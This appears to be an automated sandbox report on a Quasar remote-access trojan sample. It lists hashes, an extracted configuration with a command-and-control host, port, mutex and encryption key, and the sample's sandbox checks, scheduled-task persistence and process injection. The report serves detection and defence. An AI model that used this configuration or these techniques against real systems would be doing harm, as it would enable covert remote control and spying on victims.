quasar | 43c6b9b6c241dbd6ad1bde7980026235373374d5e836fb6c794354a15e678ef3

General

Target

R0X-Built.exe
Size

409KB
MD5

a0f5aa5764c4f66eee82f857f9f447b6
SHA1

3c3a780d020cb3eb3088223443fe813abb95dccd
SHA256

43c6b9b6c241dbd6ad1bde7980026235373374d5e836fb6c794354a15e678ef3
SHA512

458c03ae490e409598b8e9e89911b0757fb61411fbc45a60ecefed3c13d0fc96b7bc205afe1fb3e0f7585eb163f102754ec9259691eca1bfa00b028f74eb8384
SSDEEP

6144:RMX2pJAJcC0B61K6qZ1fQ57P/EwXhb4azmosb+lfXdOIFyoOOfTA3pwF:lpyJcC+uK6qZ1G8QJjbfNOSOObA3pwF

Score

10^/10

quasar slave spyware trojan

Malware Config

Extracted

Family

quasar

Version

3.1.5

Botnet

Slave

C2

even-lemon.gl.at.ply.gg:33587

Mutex

$Sxr-3vDee7FzoJnhqjuE3n

Attributes

encryption_key
KaNwItdY6wlv5nCN4prL
install_name
$srr-powershell.exe
log_directory
Logs
reconnect_delay
1000
startup_key
$srr-powershell
subdirectory
Windows

Signatures

Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar

Quasar payload 2 IoCs

Processes:

resource	yara_rule
behavioral2/memory/4388-1-0x00000000008A0000-0x000000000090C000-memory.dmp	family_quasar
C:\Users\Admin\AppData\Roaming\Windows\$srr-powershell.exe	family_quasar

Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs

Processes:

powershell.EXE

description pid process target process

PID 1848 created 624 1848 powershell.EXE winlogon.exe
Downloads MZ/PE file

description	pid	process	target process
PID 1848 created 624	1848	powershell.EXE	winlogon.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

wmiprvse.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosDate	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	wmiprvse.exe

Executes dropped EXE 2 IoCs

Processes:

$srr-powershell.exeinstall.exe

pid process

3456 $srr-powershell.exe
2160 install.exe
Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service
T1102

Processes:

flow ioc

23 raw.githubusercontent.com
25 raw.githubusercontent.com
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

11 ip-api.com

pid	process
3456	$srr-powershell.exe
2160	install.exe

flow	ioc
23	raw.githubusercontent.com
25	raw.githubusercontent.com

flow	ioc
11	ip-api.com

Drops file in System32 directory 7 IoCs

Processes:

powershell.EXEsvchost.exesvchost.exeOfficeClickToRun.exe

description	ioc	process
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log	powershell.EXE
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4KernelMode.evtx	svchost.exe
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4UserMode.evtx	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml	OfficeClickToRun.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749	svchost.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.EXE

Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.EXE

description pid process target process

PID 1848 set thread context of 4856 1848 powershell.EXE dllhost.exe

description	pid	process	target process
PID 1848 set thread context of 4856	1848	powershell.EXE	dllhost.exe

Checks SCSI registry key(s) 3 TTPs 18 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

wmiprvse.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\DeviceDesc	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_QEMU&PROD_QEMU_DVD-ROM\4&215468A5&0&010000	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Service	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_QEMU&PROD_QEMU_DVD-ROM\4&215468A5&0&010000\LogConf	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Mfg	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Service	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_DADY&PROD_HARDDISK\4&215468A5&0&000000\LogConf	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\HardwareID	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\CompatibleIDs	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\FriendlyName	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_DADY&PROD_HARDDISK\4&215468A5&0&000000	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\HardwareID	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\ConfigFlags	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Mfg	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\ConfigFlags	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\CompatibleIDs	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\DeviceDesc	wmiprvse.exe

Creates scheduled task(s) 1 TTPs 3 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task/Job
T1053

Processes:

schtasks.exeSCHTASKS.exeschtasks.exe

pid process

1732 schtasks.exe
2452 SCHTASKS.exe
1124 schtasks.exe
Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry
T1012

System Information Discovery
T1082

Processes:

wmiprvse.exe

description ioc process

Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier wmiprvse.exe

pid	process
1732	schtasks.exe
2452	SCHTASKS.exe
1124	schtasks.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	wmiprvse.exe

Modifies data under HKEY_USERS 55 IoCs

Processes:

powershell.EXEOfficeClickToRun.exesvchost.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	svchost.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSTagIds0 = "5804129,7202269,17110992,41484365,39965824,7153487,17110988,508368333,17962391,17962392,3462423,3702920,3700754,3965062,4297094,7153421,18716193,7153435,7202265,20502174,6308191,18407617"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSCategoriesSeverities = "1329 10,1329 50,1329 15,1329 100,1329 6"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.EXE
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe = "Thu, 02 May 2024 21:01:44 GMT"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe_queried = "1714683703"	OfficeClickToRun.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\RulesEndpoint = "https://nexusrules.officeapps.live.com/nexus/rules?Application=officeclicktorun.exe&Version=16.0.12527.20470&ClientId={71141597-B88E-48A4-AD76-13AD089071B0}&OSEnvironment=10&MsoAppId=37&AudienceName=Production&AudienceGroup=Production&AppVersion=16.0.12527.20470&"	OfficeClickToRun.exe
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\MICROSOFT\OFFICE\16.0\COMMON\CLIENTTELEMETRY\RULESMETADATA\OFFICECLICKTORUN.EXE\ULSMONITOR	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE

Modifies registry class 8 IoCs

Processes:

RuntimeBroker.exe

description	ioc	process
Key deleted	\REGISTRY\USER\S-1-5-21-3906287020-2915474608-1755617787-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\e0c2d3c7-9a57-4275	RuntimeBroker.exe
Key deleted	\REGISTRY\USER\S-1-5-21-3906287020-2915474608-1755617787-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\982e2820-6e39-4714	RuntimeBroker.exe
Key deleted	\REGISTRY\USER\S-1-5-21-3906287020-2915474608-1755617787-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\dded910c-aed3-4ae7	RuntimeBroker.exe
Key created	\REGISTRY\USER\S-1-5-21-3906287020-2915474608-1755617787-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable	RuntimeBroker.exe
Key created	\REGISTRY\USER\S-1-5-21-3906287020-2915474608-1755617787-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System	RuntimeBroker.exe
Key deleted	\REGISTRY\USER\S-1-5-21-3906287020-2915474608-1755617787-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\147adb37-8494-4d5f	RuntimeBroker.exe
Key deleted	\REGISTRY\USER\S-1-5-21-3906287020-2915474608-1755617787-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\bfb74b4f-ca9a-4214	RuntimeBroker.exe
Key deleted	\REGISTRY\USER\S-1-5-21-3906287020-2915474608-1755617787-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\cbe335ba-5de7-4204	RuntimeBroker.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

powershell.EXEdllhost.exe$srr-powershell.exewmiprvse.exe

pid	process
1848	powershell.EXE
1848	powershell.EXE
1848	powershell.EXE
4856	dllhost.exe
4856	dllhost.exe
4856	dllhost.exe
4856	dllhost.exe
4856	dllhost.exe
4856	dllhost.exe
4856	dllhost.exe
4856	dllhost.exe
4856	dllhost.exe
3456	$srr-powershell.exe
4856	dllhost.exe
4856	dllhost.exe
4856	dllhost.exe
4856	dllhost.exe
4856	dllhost.exe
4856	dllhost.exe
4856	dllhost.exe
4856	dllhost.exe
3456	$srr-powershell.exe
4856	dllhost.exe
4856	dllhost.exe
4856	dllhost.exe
4856	dllhost.exe
4856	dllhost.exe
4856	dllhost.exe
4856	dllhost.exe
4856	dllhost.exe
3948	wmiprvse.exe
4856	dllhost.exe
4856	dllhost.exe
4856	dllhost.exe
4856	dllhost.exe
4856	dllhost.exe
4856	dllhost.exe
4856	dllhost.exe
4856	dllhost.exe
4856	dllhost.exe
4856	dllhost.exe
3456	$srr-powershell.exe
4856	dllhost.exe
4856	dllhost.exe
4856	dllhost.exe
4856	dllhost.exe
4856	dllhost.exe
4856	dllhost.exe
4856	dllhost.exe
4856	dllhost.exe
4856	dllhost.exe
4856	dllhost.exe
3456	$srr-powershell.exe
4856	dllhost.exe
4856	dllhost.exe
4856	dllhost.exe
4856	dllhost.exe
4856	dllhost.exe
4856	dllhost.exe
4856	dllhost.exe
4856	dllhost.exe
3456	$srr-powershell.exe
4856	dllhost.exe
4856	dllhost.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

R0X-Built.exe$srr-powershell.exepowershell.EXEdllhost.exesvchost.exe

description	pid	process
Token: SeDebugPrivilege	4388	R0X-Built.exe
Token: SeDebugPrivilege	3456	$srr-powershell.exe
Token: SeDebugPrivilege	1848	powershell.EXE
Token: SeDebugPrivilege	1848	powershell.EXE
Token: SeDebugPrivilege	4856	dllhost.exe
Token: SeAssignPrimaryTokenPrivilege	1620	svchost.exe
Token: SeIncreaseQuotaPrivilege	1620	svchost.exe
Token: SeSecurityPrivilege	1620	svchost.exe
Token: SeTakeOwnershipPrivilege	1620	svchost.exe
Token: SeLoadDriverPrivilege	1620	svchost.exe
Token: SeSystemtimePrivilege	1620	svchost.exe
Token: SeBackupPrivilege	1620	svchost.exe
Token: SeRestorePrivilege	1620	svchost.exe
Token: SeShutdownPrivilege	1620	svchost.exe
Token: SeSystemEnvironmentPrivilege	1620	svchost.exe
Token: SeUndockPrivilege	1620	svchost.exe
Token: SeManageVolumePrivilege	1620	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	1620	svchost.exe
Token: SeIncreaseQuotaPrivilege	1620	svchost.exe
Token: SeSecurityPrivilege	1620	svchost.exe
Token: SeTakeOwnershipPrivilege	1620	svchost.exe
Token: SeLoadDriverPrivilege	1620	svchost.exe
Token: SeSystemtimePrivilege	1620	svchost.exe
Token: SeBackupPrivilege	1620	svchost.exe
Token: SeRestorePrivilege	1620	svchost.exe
Token: SeShutdownPrivilege	1620	svchost.exe
Token: SeSystemEnvironmentPrivilege	1620	svchost.exe
Token: SeUndockPrivilege	1620	svchost.exe
Token: SeManageVolumePrivilege	1620	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	1620	svchost.exe
Token: SeIncreaseQuotaPrivilege	1620	svchost.exe
Token: SeSecurityPrivilege	1620	svchost.exe
Token: SeTakeOwnershipPrivilege	1620	svchost.exe
Token: SeLoadDriverPrivilege	1620	svchost.exe
Token: SeSystemtimePrivilege	1620	svchost.exe
Token: SeBackupPrivilege	1620	svchost.exe
Token: SeRestorePrivilege	1620	svchost.exe
Token: SeShutdownPrivilege	1620	svchost.exe
Token: SeSystemEnvironmentPrivilege	1620	svchost.exe
Token: SeUndockPrivilege	1620	svchost.exe
Token: SeManageVolumePrivilege	1620	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	1620	svchost.exe
Token: SeIncreaseQuotaPrivilege	1620	svchost.exe
Token: SeSecurityPrivilege	1620	svchost.exe
Token: SeTakeOwnershipPrivilege	1620	svchost.exe
Token: SeLoadDriverPrivilege	1620	svchost.exe
Token: SeSystemtimePrivilege	1620	svchost.exe
Token: SeBackupPrivilege	1620	svchost.exe
Token: SeRestorePrivilege	1620	svchost.exe
Token: SeShutdownPrivilege	1620	svchost.exe
Token: SeSystemEnvironmentPrivilege	1620	svchost.exe
Token: SeUndockPrivilege	1620	svchost.exe
Token: SeManageVolumePrivilege	1620	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	1620	svchost.exe
Token: SeIncreaseQuotaPrivilege	1620	svchost.exe
Token: SeSecurityPrivilege	1620	svchost.exe
Token: SeTakeOwnershipPrivilege	1620	svchost.exe
Token: SeLoadDriverPrivilege	1620	svchost.exe
Token: SeSystemtimePrivilege	1620	svchost.exe
Token: SeBackupPrivilege	1620	svchost.exe
Token: SeRestorePrivilege	1620	svchost.exe
Token: SeShutdownPrivilege	1620	svchost.exe
Token: SeSystemEnvironmentPrivilege	1620	svchost.exe
Token: SeUndockPrivilege	1620	svchost.exe

Suspicious use of UnmapMainImage 1 IoCs

Processes:

Explorer.EXE

pid process

3440 Explorer.EXE

pid	process
3440	Explorer.EXE

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

R0X-Built.exe$srr-powershell.exepowershell.EXEdllhost.exe

description	pid	process	target process
PID 4388 wrote to memory of 1732	4388	R0X-Built.exe	schtasks.exe
PID 4388 wrote to memory of 1732	4388	R0X-Built.exe	schtasks.exe
PID 4388 wrote to memory of 1732	4388	R0X-Built.exe	schtasks.exe
PID 4388 wrote to memory of 3456	4388	R0X-Built.exe	$srr-powershell.exe
PID 4388 wrote to memory of 3456	4388	R0X-Built.exe	$srr-powershell.exe
PID 4388 wrote to memory of 3456	4388	R0X-Built.exe	$srr-powershell.exe
PID 4388 wrote to memory of 2160	4388	R0X-Built.exe	install.exe
PID 4388 wrote to memory of 2160	4388	R0X-Built.exe	install.exe
PID 4388 wrote to memory of 2160	4388	R0X-Built.exe	install.exe
PID 4388 wrote to memory of 2452	4388	R0X-Built.exe	SCHTASKS.exe
PID 4388 wrote to memory of 2452	4388	R0X-Built.exe	SCHTASKS.exe
PID 4388 wrote to memory of 2452	4388	R0X-Built.exe	SCHTASKS.exe
PID 3456 wrote to memory of 1124	3456	$srr-powershell.exe	schtasks.exe
PID 3456 wrote to memory of 1124	3456	$srr-powershell.exe	schtasks.exe
PID 3456 wrote to memory of 1124	3456	$srr-powershell.exe	schtasks.exe
PID 1848 wrote to memory of 4856	1848	powershell.EXE	dllhost.exe
PID 1848 wrote to memory of 4856	1848	powershell.EXE	dllhost.exe
PID 1848 wrote to memory of 4856	1848	powershell.EXE	dllhost.exe
PID 1848 wrote to memory of 4856	1848	powershell.EXE	dllhost.exe
PID 1848 wrote to memory of 4856	1848	powershell.EXE	dllhost.exe
PID 1848 wrote to memory of 4856	1848	powershell.EXE	dllhost.exe
PID 1848 wrote to memory of 4856	1848	powershell.EXE	dllhost.exe
PID 1848 wrote to memory of 4856	1848	powershell.EXE	dllhost.exe
PID 4856 wrote to memory of 624	4856	dllhost.exe	winlogon.exe
PID 4856 wrote to memory of 672	4856	dllhost.exe	lsass.exe
PID 4856 wrote to memory of 960	4856	dllhost.exe	svchost.exe
PID 4856 wrote to memory of 332	4856	dllhost.exe	dwm.exe
PID 4856 wrote to memory of 428	4856	dllhost.exe	svchost.exe
PID 4856 wrote to memory of 1036	4856	dllhost.exe	svchost.exe
PID 4856 wrote to memory of 1060	4856	dllhost.exe	svchost.exe
PID 4856 wrote to memory of 1104	4856	dllhost.exe	svchost.exe
PID 4856 wrote to memory of 1216	4856	dllhost.exe	svchost.exe
PID 4856 wrote to memory of 1228	4856	dllhost.exe	svchost.exe
PID 4856 wrote to memory of 1288	4856	dllhost.exe	svchost.exe
PID 4856 wrote to memory of 1328	4856	dllhost.exe	svchost.exe
PID 4856 wrote to memory of 1368	4856	dllhost.exe	svchost.exe
PID 4856 wrote to memory of 1428	4856	dllhost.exe	svchost.exe
PID 4856 wrote to memory of 1492	4856	dllhost.exe	svchost.exe
PID 4856 wrote to memory of 1500	4856	dllhost.exe	svchost.exe
PID 4856 wrote to memory of 1544	4856	dllhost.exe	svchost.exe
PID 4856 wrote to memory of 1664	4856	dllhost.exe	svchost.exe
PID 4856 wrote to memory of 1712	4856	dllhost.exe	svchost.exe
PID 4856 wrote to memory of 1752	4856	dllhost.exe	svchost.exe
PID 4856 wrote to memory of 1820	4856	dllhost.exe	svchost.exe
PID 4856 wrote to memory of 1828	4856	dllhost.exe	svchost.exe
PID 4856 wrote to memory of 1972	4856	dllhost.exe	svchost.exe
PID 4856 wrote to memory of 1984	4856	dllhost.exe	svchost.exe
PID 4856 wrote to memory of 1472	4856	dllhost.exe	svchost.exe
PID 4856 wrote to memory of 1620	4856	dllhost.exe	svchost.exe
PID 4856 wrote to memory of 2088	4856	dllhost.exe	spoolsv.exe
PID 4856 wrote to memory of 2100	4856	dllhost.exe	svchost.exe
PID 4856 wrote to memory of 2216	4856	dllhost.exe	svchost.exe
PID 4856 wrote to memory of 2336	4856	dllhost.exe	svchost.exe
PID 4856 wrote to memory of 2516	4856	dllhost.exe	svchost.exe
PID 4856 wrote to memory of 2524	4856	dllhost.exe	svchost.exe
PID 4856 wrote to memory of 2656	4856	dllhost.exe	sihost.exe
PID 4856 wrote to memory of 2668	4856	dllhost.exe	svchost.exe
PID 4856 wrote to memory of 2712	4856	dllhost.exe	svchost.exe
PID 4856 wrote to memory of 2780	4856	dllhost.exe	sysmon.exe
PID 4856 wrote to memory of 2796	4856	dllhost.exe	svchost.exe
PID 4856 wrote to memory of 2824	4856	dllhost.exe	svchost.exe
PID 4856 wrote to memory of 2832	4856	dllhost.exe	svchost.exe
PID 4856 wrote to memory of 2960	4856	dllhost.exe	svchost.exe
PID 4856 wrote to memory of 2968	4856	dllhost.exe	taskhostw.exe

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:624

C:\Windows\system32\dwm.exe
"dwm.exe"
2⤵
PID:332

C:\Windows\System32\dllhost.exe
C:\Windows\System32\dllhost.exe /Processid:{11601616-c753-460c-8c7e-de51393b4dba}
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4856

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
PID:672

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:960

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:428

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1036

C:\Windows\System32\svchost.exe
